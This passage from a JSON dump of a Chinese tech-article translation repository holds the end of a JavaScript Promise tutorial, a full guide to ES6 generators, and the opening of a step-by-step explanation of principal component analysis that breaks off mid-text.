cases, I fail. Miserably.'));\n});\n\n// 两个函数\nconst onResolved = (resolvedValue) => console.log(resolvedValue);\nconst onRejected = (error) => console.log(error);\n\nmyPromise.then(onResolved, onRejected);\n\n// 效果同上，代码更加简明扼要\nmyPromise.then((resolvedValue) => {\n    console.log(resolvedValue);\n}, (error) => {\n    console.log(error);\n});\n\n// 有 90% 的概率输出下面语句\n\n// resolving the promise ...\n// Hello, Promises!\n// Hello, Promises!\n```\n\n使用 Promise\n\n`.then()` 接收两个回调函数。第一个回调在 promise 被**解决**时调用。第二个回调在 promise 被**拒绝**时调用。\n\n两个函数分别在第 10 行和第 11 行定义，即 `onResolved` 和 `onRejected`。它们作为回调传递给第 13 行中的 `.then（）`。你也可以使用第 16 行到第 20 行更常见的 `.then` 写作风格。它提供了与上述写法相同的功能。\n\n在上面的例子中还有一些需要注意的**重要**事项。\n\n我们创建了一个 promise 实例 `myPromise`。我们分别在第 13 行和第 16 行附加了两个 `.then` 的处理程序。尽管它们在功能上是相同的，但它们还是被被视为不同的处理程序。但是 ——\n\n*   一个 promise 只能成功（resolved）或失败（reject）一次。它不能成功或失败两次，也不能从成功切换到失败，反之亦然。\n*   如果一个 promise 在你添加成功/失败回调（即 `.then`）之前就已经成功或者失败，则 promise 还是会正确地调用回调函数，即使事件发生地比添加回调函数要早。\n\n这意味着一旦 promise 达到最终状态，即使你多次附加 `.then` 处理程序，状态也不会改变（即不会再重新开始计算）。\n\n为了验证这一点，你可以在第3行看到一个 `console.log` 语句。当你用 `.then` 处理程序运行上述代码时，需要输出的语句只会被打印一次。**它表明 promise 缓存了结果，并且下次也会得到相同的结果**。\n\n另一个要注意的是，promise 的特点是[及早求值（evaluated eagerly）](https://en.wikipedia.org/wiki/Eager_evaluation)。**只要声明并将其绑定到变量，就立即开始执行**。没有 `.start` 或 `.begin` 方法。就像在上面的例子中那样。\n\n为了确保 promise 不是立即开始而是惰性求值（evaluates lazily），**我们将它们包装在函数中**。稍后会看到一个例子。\n\n#### 捕捉 Promise\n\n到目前为止，我们只是很方便地看到了 `resolve` 的案例。那当执行器函数发生错误的时候会发生什么呢？当发生错误时，执行 `.then()` 的第二个回调，即 `onRejected`。让我们来看一个例子 ——\n\n```\nconst myProimse = new Promise((resolve, reject) => {\n  if (Math.random() * 100 < 90) {\n    reject(new Error('The promise was rejected by using reject function.'));\n  }\n  throw new Error('The promise was rejected by throwing an error');\n});\n\nmyProimse.then(\n  () => console.log('resolved'), \n  (error) => console.log(error.message)\n);\n\n// 有 90% 的概率输出下面语句\n\n// The promise was rejected by using reject function.\n```\n\nPromise 出错\n\n这与第一个例子相同，但现在它以 90% 的概率执行 **reject** 函数，并且剩下的 10% 的情况会抛出错误。\n\n在第 10 和 11 行，我们分别定义了 `onResolved` 和 `onRejected` 回调。请注意，即使发生错误，`onRejected` 也会执行。因此我们没有必要通过在 `reject` 函数中传递错误来拒绝一个 promise。也就是说，这两种情况下的 promise 都会被拒绝。\n\n由于错误处理是健壮程序的必要条件，因此 promise 为这种情况提供了一条捷径。当我们想要处理一个错误时，我们可以使用 `.catch(onRejected)` 接收一个回调：`onRejected`，而不必使用 `.then(null, () => {...})`。以下代码将展示如何使用 catch 处理程序 ——\n\n```\nmyProimse.catch(  \n  (error) => console.log(error.message)  \n);\n```\n\n请记住 `.catch` 只是 `.then(undefined, onRejected)` 的一个[语法糖](https://en.wikipedia.org/wiki/Syntactic_sugar)。\n\n#### Promise 链式调用\n\n`.then()` 和 `.catch()` 方法**总是返回一个 promise**。所以你可以把多个 `.then` 链接到一起。让我们通过一个例子来理解它。\n\n首先，我们创建一个返回 promise 的 `delay` 函数。返回的 promise 将在给定秒数后解析。这是它的实现 ——\n\n```\nconst delay = (ms) => new Promise(  \n  (resolve) => setTimeout(resolve, ms)  \n);\n```\n\n在这个例子中，我们使用一个函数来包装我们的 promise，以便它不会立即执行。该 `delay` 函数接收以毫秒为单位的时间作为参数。由于[闭包](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures)的特点，该执行器函数可以访问 `ms` 参数。它还包含一个在 `ms` 毫秒后调用 `resolve` 函数的 `setTimeout` 函数，从而**有效解决 promise**。这是一个示例用法 ——\n\n```\ndelay(5000).then(() => console.log('Resolved after 5 seconds'));\n```\n\n只有在 `delay(5000)` 解决后，`.then` 回调中的语句才会运行。当你运行上面的代码时，你会在 5 秒后看到 `Resolved after 5 seconds` 被打印出来。\n\n以下是我们如何实现 `.then()` 的链式调用 ——\n\n```\nconst delay = (ms) => new Promise(\n  (resolve) => setTimeout(resolve, ms)\n);\n\ndelay(2000)\n  .then(() => {\n    console.log('Resolved after 2 seconds')\n    return delay(1500);\n  })\n  .then(() => {\n    console.log('Resolved after 1.5 seconds');\n    return delay(3000);\n  }).then(() => {\n    console.log('Resolved after 3 seconds');\n    throw new Error();\n  }).catch(() => {\n    console.log('Caught an error.');\n  }).then(() => {\n    console.log('Done.');\n  });\n\n// Resolved after 2 seconds\n// Resolved after 1.5 seconds\n// Resolved after 3 seconds\n// Caught an error.\n// Done.\n```\n\nPromise 链式调用\n\n我们从第 5 行开始。所采取的步骤如下 ——\n\n*   `delay(2000)` 函数返回一个在两秒之后可以得到解决的 promise。\n*   第一个 `.then()` 执行。它输出了一个句子 `Resolved after 2 seconds`。然后，它通过调用 `delay(1500)` 返回另一个 promise。如果一个 `.then()` 里面返回了一个 promise，该 promise 的**解决方案（技术上称为结算）**是转发给下一个 `.then` 去调用。\n*   链式调用持续到最后。\n\n**另请注意第 15 行**。我们在 `.then` 里面抛出了一个错误。那意味着当前的 promise 被拒绝了，**并被下一个** `.catch` **处理程序捕捉**。因此，`Caught an error` 这句话被打印。然而，一个 `.catch` **本身总是被解析为 promise，并且不会被拒绝**（除非你故意抛出错误）。这就是为什么 `.then` 后面的 `.catch` 会被执行的原因。\n\n这里建议使用 `.catch` 而不是带有 `onResolved` 和 `onRejected` 参数的 `.then` 去处理。下面有一个案例解释了为什么最好这样做 ——\n\n```\nconst promiseThatResolves = () => new Promise((resolve, reject) => {\n  resolve();\n});\n\n// 导致被拒绝的 promise 没有被处理\npromiseThatResolves().then(\n  () => { throw new Error },\n  (err) => console.log(err),\n);\n\n// 适当的错误处理\npromiseThatResolves()\n  .then(() => {\n    throw new Error();\n  })\n  .catch(err => console.log(err));\n```\n\n第 1 行创建了一个始终可以解决的 promise。当你有一个带有两个回调 ，即 `onResolved` 和 `onRejected` 的 `.then` 方法时，你只能处理**执行器**函数的错误和拒绝。假设 `.then` 中的处理程序也会抛出错误。它不会导致执行 `onRejected` 回调，如第 6 - 9 行所示。\n\n但如果你在 `.then` 后跟着调用 `.catch`，那么 `.catch` **既捕捉执行器函数的错误也捕捉 .then 处理程序的错误**。这是有道理的，因为 `.then` 总是返回一个 promise。如第 12 - 16 行所示。\n\n* * *\n\n你可以执行所有的代码示例，并通过实践应用学的更多。一个好的学习方法是将 promise 通过基于回调的函数重新实现。如果你使用 Node，那么在 `fs` 和其他模块中的很多函数都是基于回调的。在 Node 中确实存在可以自动将基于回调的函数转换为 promise 的实用工具，例如 [util.promisify](https://nodejs.org/api/util.html#util_util_promisify_original) 和 [pify](https://github.com/sindresorhus/pify)。但是，**如果你还在学习阶段**，请考虑遵循 WET（Write Everything Twice）原则，并重新实现或阅读尽可能多的库/函数的代码。如果不是在学习阶段，特别是在生产环境下，请每隔一段时间就要使用 [DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself)（Don’t Repeat Yourself） 原则激励自己。\n\n还有很多其他的 promise 相关知识我没有提及，比如 `Promise.all` 、`Promise.race` 和其他静态方法，以及如何处理 promise 中出现的错误，还有一些在创建一个promise 时应该注意的一些常见的反模式（anti-patterns）和细节。你可以参考下面的文章，以便可以更好地了解这些主题。\n\n如果你希望我在另一篇文章中涵盖这些主题，请回复本文！:)\n\n* * *\n\n#### 参考\n\n由 [Jake Archibald](https://medium.com/@jaffathecake) 撰写的 [ECMA Promise 规范](http://www.ecma-international.org/ecma-262/6.0/#sec-promise-objects)、[Mozilla 文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)、[Google 的 Promise 开发者指南](https://developers.google.com/web/fundamentals/primers/promises#promise-api-reference)，还有 [探索 JavaScript 中的 Promise 章节](http://exploringjs.com/es6/ch_promises.html#sec_first-example-promises) 以及 [Promise 介绍](http://jamesknelson.com/grokking-es6-promises-the-four-functions-you-need-to-avoid-callback-hell/)。\n\n> 我希望你能喜欢这个客串贴！本文由 [**Arfat Salmon**](https://codeburst.io/@arfatsalman) 专门为 CodeBurst.io 撰写\n\n### 结束语\n\n感谢阅读！如果你最终决定走上 web 开发这条不归路，请查看：[**2018 年 Web 开发人员路线图**](https://codeburst.io/the-2018-web-developer-roadmap-826b1b806e8d)。\n\n如果你正在努力成为一个更好的 JavaScript 开发人员，请查看：[**提高你的 JavaScript 面试水平 ——  学习算法 + 数据结构**](https://codeburst.io/ace-your-javascript-interview-learn-algorithms-data-structures-dabb547fb385)。\n\n如果你希望成为我每周一次的电子邮件列表中的一员，请考虑[**在此输入你的 email**](https://docs.google.com/forms/d/e/1FAIpQLSeQYYmBCBfJF9MXFmRJ7hnwyXvMwyCtHC5wxVDh5Cq--VT6Fg/viewform)，或者在 [**Twitter**](https://twitter.com/BrandonMorelli) 上关注我。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-simple-guide-to-understanding-javascript-es6-generators.md",
    "content": "> * 原文地址：[A Simple Guide to Understanding Javascript (ES6) Generators](https://medium.com/dailyjs/a-simple-guide-to-understanding-javascript-es6-Generators-d1c350551950)\n> * 原文作者：[Rajesh Babu](https://medium.com/@rajeshdavid?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-simple-guide-to-understanding-javascript-es6-generators.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-simple-guide-to-understanding-javascript-es6-generators.md)\n> * 译者：[ssshooter](https://github.com/ssshooter)\n> * 校对者：[Zheng7426](https://github.com/Zheng7426) [hopsken](https://hopsken.com/)\n\n# Javascript（ES6）Generator 入门\n\n![](https://cdn-images-1.medium.com/max/800/1*4877k4Hq9dPdtmvg9hnGFA.jpeg)\n\n如果你在过去两到五年中一直在研究 JavaScript，那么肯定看过关于 **Generator** 和 **Iterator** 的文章。虽然 **Generator** 和 **Iterator** 本质上是相关的，但 Generator 似乎比 Iterator 更令人难以理解。\n\n![](https://cdn-images-1.medium.com/max/800/1*bwQSEHpbaNHte95IW2kTCw.jpeg)\n\n> **Iterator** 由 **Iterable** 对象（如 map，数组和字符串等）实现，我们能够使用 next() 迭代它们。Iterator 在 Generator，Observable 和 Spread 运算符中广泛使用。\n\n> 如果你刚接触 Iterator，建议先阅读 [Guide to Iterators](https://codeburst.io/a-simple-guide-to-es6-iterators-in-javascript-with-examples-189d052c3d8e)。\n\n可以使用内建的 Symbol.iterator 验证对象是否符合可迭代要求：\n\n```\nnew Map([[1, 2]])[Symbol.iterator]() // MapIterator {1 => 2}\n“hi”[Symbol.iterator]() // StringIterator {}\n[‘1’][Symbol.iterator]() // Array Iterator {}\nnew Set([1, 2])[Symbol.iterator]() // SetIterator {1, 2}\n```\n\n第一次亮相于 ES6 的 Generator 在后续 JavaScript 版本的发布中并没有变化，所以 Generator 有可能在将来会继续保持现在的特性及用法，我们是绕不开它的。虽然 ES7 和 ES8 有一些小更新，但是改变幅度无法与 ES5 到 ES6 相提并论，可以说 ES6 使得 JavaScript 踏出了新的一步。\n\n**读完本文，我相信你一定能充分理解 Generator 的原理**。如果你是专业人士，欢迎在回复中添加评论，一起改进这篇文章。为帮助大家理解代码，代码中已包含一定注释。\n\n![](https://cdn-images-1.medium.com/max/800/1*ZrJKJqBsksWd-8uKM9OvgA.png)\n\n### 介绍\n\n众所周知，JavaScript 的函数都会一直运行到 **return 或函数结束**。但对于 Generator 函数，会一直运行到 **遇到 yield 或 return 或函数结束**。与一般函数不同，**Generator 函数**一旦被调用，就会返回一个 **Generator 对象**。这个对象拥有 **Generator Iterable**，可以使用 **next()** 方法或 **for…of** 循环迭代它。\n\n> Generator 每次调用 next()，函数会一直运行到下一个 yield，然后暂停执行。\n\n语法上他们的标志是一个星号 **\\***，**function\\* X** 和 **function \\*X** 的效果相同。\n\nGenerator 函数返回 **Generator 对象。**要把 Generator 对象赋值到一个变量，才能方便地使用它的 **next()** 方法。** 如果没有把 Generator 分配给变量，对它调用 next() 总是只会运行到第一个 yield 表达式。**\n\nGenerator 函数中通常含有 **yield** 表达式。Generator 函数内的每个 **yield** 都是下一个执行循环开始之前的停止点。每个执行周期都通过 Generator 的 **next()** 方法触发。\n\n每次调用 **next()**，**yield** 表达式都会返回包含以下参数的对象。\n\n`{ value: 10, done: false } // 假设 yield 的值是 10`\n\n*   **Value** —— **yield** 关键字右侧的值，可以是对函数的调用、对象等几乎任何东西。对于空的 yield，返回的是 **undefined**。\n*   **Done** —— 表明 Generator 的状态，是否可以继续执行。完成时返回 true，意味着函数已经运行完毕。\n\n**（如果你无法理解上面说的是什么，那下面的例子可能会让你理解得更清晰……）**\n\n![](https://cdn-images-1.medium.com/max/800/1*YnOJNuFe-r9T7pO47mVYaw.png)\n\nGenerator 函数基础\n\n> **注意：**在上面的例子中，直接访问 **Generator 函数**总是执行到第一个 yield。因此，你需要将 Generator 分配给变量才能正确迭代它。\n\n### Generator 函数的生命周期\n\n在深入理解之前，让我们快速浏览一下 Generator 函数的生命周期示意图：\n\n![](https://cdn-images-1.medium.com/max/800/1*0pLkX6yrbV2r6_pZ10AIvQ.png)\n\nGenerator 函数的生命周期\n\n每次运行到 **_yield_**，Generator 函数都会返回一个对象，该对象包含 yield 产生的值和当前 Generator 函数的状态。类似地，运行到 **_return_**，可以得到 return 的值，并且 **_done_** 的状态为 **_true_**。当 done 的状态为 true 时，意味着 Generator 函数已经运行完毕，后面的 yield 统统无效。\n\n> return 后的一切代码都会被忽略，包括 **yield** 表达式。\n\n**继续阅读深入理解上图。**\n\n### 把 yield 赋值到一个变量\n\n在的示例中，我们创建了一个带有 yield 的最基本的 Generator，并获得了预期的输出。在下面代码中，我们将整个 yield 表达式赋值到一个变量。\n\n![](https://cdn-images-1.medium.com/max/800/1*zdJQlUaqIiD3eV0j0QzrZA.png)\n\n把 yield 赋值到一个变量\n\n> 把整个 yield 表达式传到变量的结果是什么？**Undefined …**\n\n> 为什么会是 undefined？**从第二个 next() 开始，前一个 yield 会被替换为 next 函数的参数。因为例子中的 next 没有传入任何值，所以程序判定“前一个 yield 表达式”为 undefined**。\n\n这是重点中的重点，下面的章节我们将详细介绍对 next() 传参的用法。\n\n### 将参数传递给 next() 方法\n\n参考上面的示意图，我们聊聊关于传参到 next 函数的事情。**这是整个 Generator 使用中最棘手的部分之一**。\n\n思考以下代码，其中 yield 被赋给变量，但这次我们向 next() 传参。\n\n看看控制台的输出，先思考一下，后面会有解释。\n\n![](https://cdn-images-1.medium.com/max/800/1*aYCKrAkgSyfEeN9cswZzbA.png)\n\n将参数传递给 next()\n\n#### 说明：\n\n1. 在调用 **next(20)** 的时候，第一个 yield 前的代码都被执行。因为前面已经没有 yield，传入的 20 毫无作用。输出 yield 的 value 为 i*10，也就是 100。因为执行到第一个 yield 停止，所以 **const j** 未被赋值。\n2. 调用 **next(10)** 时，第一个 yield 的位置被替换为 10，相当于在返回第二个 yield 的 value 前，设置 **yield (i * 10) = 10**，所以 **j 为 50**。yield 的 value 为 **2 * 50 / 4 = 25**。\n3. **next(5)** 用 5 替换第二个 yield，所以 k 为 5。继续执行 return 语句，返回最后的 yield value **(x + y + z) => (10 + 50 + 5) = 65**，并且 done 为 true。\n\n> **这可能对初次接触 Generator 的读者有点超纲，但是给自己 5 分钟，多读几遍，就能清楚明白。**\n\n### Yield 作为其他函数的参数\n\nYield 在 Generator 中还有大把的用法，我们接着看看下面的代码，这是 yield 的其中一个妙用，附带解释。\n\n![](https://cdn-images-1.medium.com/max/800/1*Y6pwTwJ7stPZzAeCKBfv4Q.png)\n\nYield 作为其他函数的参数\n\n#### 解释\n\n1.  第一个 next() yield（生成） 的 value 为 undefined，因为 yield 表达式无值。\n2.  第二个 next() 生成的 value 为被传入的 `'I am usless'`，这一步为函数调用准备了参数。\n3.  第二个 next() 以 **undefined** 为参数调用了后面的函数。next() 没有接收参数，意味着**上一个 yield 表达式的值为 undefined**，所以函数打印出 **undefined** 并终止运行。\n\n### 对函数调用使用 yield\n\n除了返回普通的值，yield 还可以调用函数并返回他的值。看看下面的例子更好理解：\n\n![](https://cdn-images-1.medium.com/max/800/1*zXpsq-hlqla3z3mZGWyTJw.png)\n\n对函数调用使用 yield\n\n上述代码返回了函数返回的对象作为 yield 的 value，然后把 **const user** 赋值为 **undefined**，结束运行。\n\n### 对 Promise 使用 yield\n\n对 promise 使用 yield 与对函数调用使用 yield 相似，它会返回一个 promise，我们以此进一步判定操作成功或失败。看看以下代码，了解它的使用方法：\n\n![](https://cdn-images-1.medium.com/max/800/1*100c_wLxJHmcKtjZAYwJzw.png)\n\n对 Promise 使用 yield\n\napiCall 将 promise 作为 yield value 返回，在 2 秒后 resolved 并打印出我们需要的值。\n\n### `Yield*`\n\nYield 表达式的介绍就告一段落了，接着我们了解一下另一个表达式 `yield*`。`Yield*` 在 Generator 函数中使用时，会把迭代委托到下一个 Generator 函数。简单来说，会先同步完成 `Yield*` 表达式中的 Generator 函数，再继续运行外层函数。\n\n让我们看看下面的代码和解释，以便更好地理解。此代码来自 MDN Web 文档。\n\n![](https://cdn-images-1.medium.com/max/800/1*eMlOmBoi2XGCE3qwUIj3qA.png)\n\n`Yield*` 基础\n\n#### 解释\n\n1.  调用第一个 next()，产生的值为1。\n2.  第二个 next() 调用的是 `yield*` 表达式，这意味着我们要先完成 `yield*` 表达式指定的 Generator 函数，再继续运行当前 Generator 函数。\n3.  你可以假设上面的代码被替换为如下代码：\n\n```\nfunction* g2() {\n  yield 1;\n  yield 2;\n  yield 3;\n  yield 4;\n  yield 5;\n}\n```\n\n> Generator 会按这个顺序运行结束。不过对于 `yield*` 和 return 的同时使用，我们需要特别注意，下一节将会提到。\n\n### `Yield*` 与 Return\n\n带 return 的 `yield*` 与一般 `yield*` 有点不同。当 `yield*` 与 return 语句一起使用时，`yield*` 被赋 return 的值，也就是整个 `yield*` function() 与其关联 Generator 函数的返回值相等。\n\n让我们看看下面的代码和解释，以便更好理解。\n\n![](https://cdn-images-1.medium.com/max/800/1*HxJtIuXhBnOMAK0cwVElsQ.png)\n\n`Yield*` 与 Return\n\n#### **说明**\n\n1. 第一个 next()，直接进入 yield 1 并返回其值。\n2. 第二个 next() 返回 2。\n3. 第三个 next()，运行 **return 'foo'** 后紧接着，yield 返回 'the end'，其中 'foo' 被赋值到 **const result**。\n4. 最后一个 next() 结束运行。\n\n### **对内建 Iterable 对象使用 `Yield*`**\n\n`yield*` 还有一个值得一提的用法，它可以遍历 iterable 对象，如 Array，String 和 Map。\n\n一起看看实际运行结果。\n\n![](https://cdn-images-1.medium.com/max/800/1*u6RQVCQBCqw5UsF3Kger1w.png)\n\n对内建 Iterable 对象使用 `Yield*`\n\n在代码中，`yield*` 遍历传入的每一个 iterable 对象，我觉得这段代码本身是不言自明的。\n\n### 最佳实践\n\n最重要的是，每个 iterator/Generator 都可以使用 **for…of** 遍历。与显式调用的 next() 类似，for…of 循环依据 **yield 关键字** 进入下一次迭代。这里是重点：它只会迭代到**最后一个 yield**，不会像 next() 那样处理 return 语句。\n\n下面的代码可以验证以上描述。\n\n![](https://cdn-images-1.medium.com/max/800/1*dDYt_xElLC7wjUDN7HfDJg.png)\n\nYield 与 for…of\n\n> 最后 return 的值不会被打印，因为 for…of 循环只迭代到最后一个 yield。因此，作为最佳实践，尽量避免在 Generator 函数中使用 return 语句，原因在于当使用 for…of 语句进行迭代时，return 会影响函数的可重用性。\n\n![](https://cdn-images-1.medium.com/max/800/1*4877k4Hq9dPdtmvg9hnGFA.jpeg)\n\n### 总结\n\n我希望这涵盖了 Generator 函数的基本用法，希望这篇文章能让你更好地理解 Generator 在 JavaScript 中的工作方式。如果你喜欢本文，请点个赞吧 :)。\n\n请关注我的 GitHub 账号获取更多 JavaScript 和全栈项目：\n\n* [**rajeshdavidbabu (Rajesh Babu)**: rajeshdavidbabu has 11 repositories available. Follow their code on GitHub.](https://github.com/rajeshdavidbabu)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/a-step-by-step-explanation-of-principal-component-analysis.md",
    "content": "> * 原文地址：[A step by step explanation of Principal Component Analysis](https://towardsdatascience.com/a-step-by-step-explanation-of-principal-component-analysis-b836fb9c97e2)\n> * 原文作者：[Zakaria Jaadi](https://medium.com/@zakaria.jaadi)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-step-by-step-explanation-of-principal-component-analysis.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-step-by-step-explanation-of-principal-component-analysis.md)\n> * 译者：[Ultrasteve](https://github.com/Ultrasteve)\n> * 校对者：[kasheemlew](https://github.com/kasheemlew), [TrWestdoor](https://github.com/TrWestdoor)\n\n# 由浅入深理解主成分分析\n\n![](https://cdn-images-1.medium.com/max/2360/0*MCObvpuCqWS5-z2m)\n\n这篇文章的目的是对主成分分析（PCA）做一个完整且简单易懂的介绍，重点会一步一步的讲解它是怎么工作的。看完这篇文章后，相信即使没有很强的数学背景的人，都能理解并使用它。\n\n网上已经有很多介绍 PCA 的文章，其中一些质量也很高，但很少文章会直截了当的去介绍它是怎么工作的，通常它们会过度的拘泥于 PCA 背后的技术及原理。因此，我打算以我自己的方式，来向各位简单易懂的介绍 PCA 。\n\n在解释 PCA 之前，这篇文章会先富有逻辑性的介绍 PCA 在每一步是做什么的，同时我们会简化其背后的数学概念。我们会讲到标准化，协方差，特征向量和特征值，但我们不会专注于如何计算它们。\n\n## 什么是 PCA？\n\nPCA 是一种降维方法，常用于对高维数据集作降维。它会将一个大的变量集合转化为更少的变量集合，同时保留大的变量集合中的大部分信息。\n\n减少数据的维度天然会牺牲一些精度，但降维算法的诀窍是牺牲很少的精度进行简化。这是因为维度更小的数据能更容易被探索和可视化，在数据的分析和机器学习算法中，我们将不用去处理额外的变量，这让整个过程变得高效。\n\n总的来说，PCA 的中心思想十分简单 —— 减少数据集的变量数目，同时尽可能保留它的大部分信息。\n\n## 逐步解释\n\n### 步骤一：标准化\n\n为了让每一个维度对分析的结果造成同样的影响，我们需要对连续的初始变量的范围作标准化。\n\n更具体的说，在 PCA 之前作数据标准化的原因是，后续的结果对数据的方差十分敏感。也就是说，那些取值范围较大的维度会比相对较小的维度造成更大的影响（例如，一个在 1 到 100 之间变化的维度对结果的影响，比一个 0 到 1 的更大），这会导致一个偏差较大的结果。所以，将数据转化到比较的范围可以预防这个问题。\n\n从数学上来讲，我们可以通过减去数据的平均值并除以它的标准差来进行数据标准化。\n\n![](https://cdn-images-1.medium.com/max/2000/0*AgmY9auxftS9BI73.png)\n\n一旦我们完成数据标准化，所有的数据会在同一个范围内。\n\n***\n\n如果你想更深入的了解数据标准化，我推荐你阅读我写的这篇小短文。\n\n* [**什么时候进行数据标准化？为什么？一篇简单的指南教你是否应该标准化你的数据。**](https://github.com/xitu/gold-miner/blob/master/TODO1/when-to-standardize-your-data.md)\n\n### 步骤二：计算协方差矩阵\n\n这一步的目标是理解数据集中的变量是如何从平均值变化过来的，不同的特征之间又有什么关系。换句话说，我们想要看看特征之间是否存在某种联系。有时特征之间高度相关，因此会有一些冗余的信息。为了了解这一层关系，我们需要计算协方差矩阵。\n\n协方差矩阵是一个 **p** × **p** 的对称矩阵（**p** 是维度的数量）它涵盖了数据集中所有元组对初始值的协方差。例如，对于一个拥有三个变量 **x**、**y**、**z** 和三个维度的数据集，协方差矩阵将是一个 3 × 3 的矩阵：\n\n![三个维度数据的协方差矩阵](https://cdn-images-1.medium.com/max/2000/0*xTLQtW2XQY6P3mZf.png)\n\n由于变量与自身的协方差等于它的方差（Cov(a,a)=Var(a)），在主对角线（左上到右下）上我们已经计算出各个变量初始值的方差。又因为协方差满足交换律（Cov(a,b)=Cov(b,a)），协方差矩阵的每一个元组关于主对角线对称，这意味着上三角部分和下三角部分是相等的。\n\n**协方差矩阵中的元素告诉了我们变量间什么样的关系呢？**\n\n让我们来看看协方差取值的含义：\n\n* 如果值为正：那么两个变量呈正相关（同增同减）\n* 如果值为负数：那么两个变量呈负相关（增减相反）\n\n现在，我们知道了协方差矩阵不仅仅是对于变量之间的协方差的总结，让我们进入到下一步吧。\n\n### 步骤三：通过计算协方差矩阵的特征向量和特征值来计算出主成分\n\n特征值和特征向量是线性代数里面的概念，为了计算出数据的**主成分**，我们需要通过协方差矩阵来计算它们。在解释如何计算这两个值之前，让我们来看看主成分的意义是什么。\n\n主成分是一个新的变量，它是初始变量的线性组合。这些新的变量之间是不相关的。第一主成分中包含了初始变量的大部分信息，是初始变量的压缩和提取。例如，虽然在一个 10 维的数据集中我们算出了 10 个主成分，但大部分的信息都会被压缩在第一主成分中，剩下的大部分信息又被压缩到第二主成分中，以此类推，我们得到了下面这张图：\n\n![每一个主成分包含着多少信息](https://cdn-images-1.medium.com/max/2304/1*JLAVaWW5609YZoJ-NYkSOA.png)\n\n这种通过主成分来管理信息的方式，能够使我们降维的同时不会损失很多信息，同时还帮我们排除了那些信息量很少的变量。如此一来，我们就只用考虑那些主成分中压缩过的信息就可以了。\n\n需要注意的一点是，这些主成分是难以解读的，由于它们是原变量的线性组合，通常它们没有实际的意义。\n\n从理论方面来说，主成分代表着蕴含**最大方差的方向**。对于主成分来说，变量的方差越大，空间中点就越分散，空间中的点越分散，那么它包含的信息就越多。简单的讲，主成分就是一条更好的阐述数据信息的新坐标轴，因此我们更容易从中观测到差异。\n\n### PCA 算法是怎么算出主成分的？\n\n有多少个变量就有多少个主成分。对于第一主成分来说沿着对应的坐标轴变化意味着有**最大的方差**。例如，我们将数据集用下列的散点图表示，现在你能够直接猜测出主成分应该是沿着哪一个方向的吗？这很简单，大概是图中紫色线的方向。因为它穿过了原点，而且数据映射在这条线上后，如红点所示，有着最大的方差（各点与原点距离的均方）。\n\n![](https://cdn-images-1.medium.com/max/2000/1*UpFltkN-kT9aGqfLhOR9xg.gif)\n\n第二主成分也是这样计算的，它与第一主成分互不相关（即互为垂直），表示了下一个方差最大的方向。\n\n我们重复以上步骤直到我们从原始数据中计算出所有主成分。\n\n现在我们知道了主成分的含义，让我们回到特征值和特征向量。你需要知道的是，它们通常成对出现，每一个特征向量对应一个特征值。它们各自的数量相等，等于原始数据的维度。例如，在一个三维数据集中，我们有三个变量，因此我们会有三个特征向量与三个特征值。\n\n简单地说，特征矩阵和特征向量就是主成分分析背后的秘密。协方差矩阵的特征向量其实就是一系列的坐标轴，将数据映射到这些坐标轴后，我们将得到**最大的方差**（这意味这更多的信息），它们就是我们要求的主成分。特征值其实就是特征向量的系数，它代表了每个特征向量**包含了多少信息量**。\n\n你可以根据特征值的大小对特征向量作排序，你将知道哪一个是最重要的主成分，哪一个不是。\n\n**例如：**\n\n现在我们有一个数据集，有两个变量两个维度 **x,y**，它们的特征值与特征向量如下所示：\n\n![](https://cdn-images-1.medium.com/max/2000/1*3OAdlot1vJcK6qzCePlq9Q.png)\n\n如果我们从大到小的排序特征值，我们得到 λ1>λ2，这意味着我们需要的第一主成分（PC1）是 **v1** ，第二主成分（PC2）是 **v2**。\n\n在得到主成分后，我们将每个特征值除以特征值的和，这样我们就得到了一个百分数。在上面的例子中，我们可以看到 PC1 和 PC2 各自携带了 96% 和 4% 信息。\n\n### 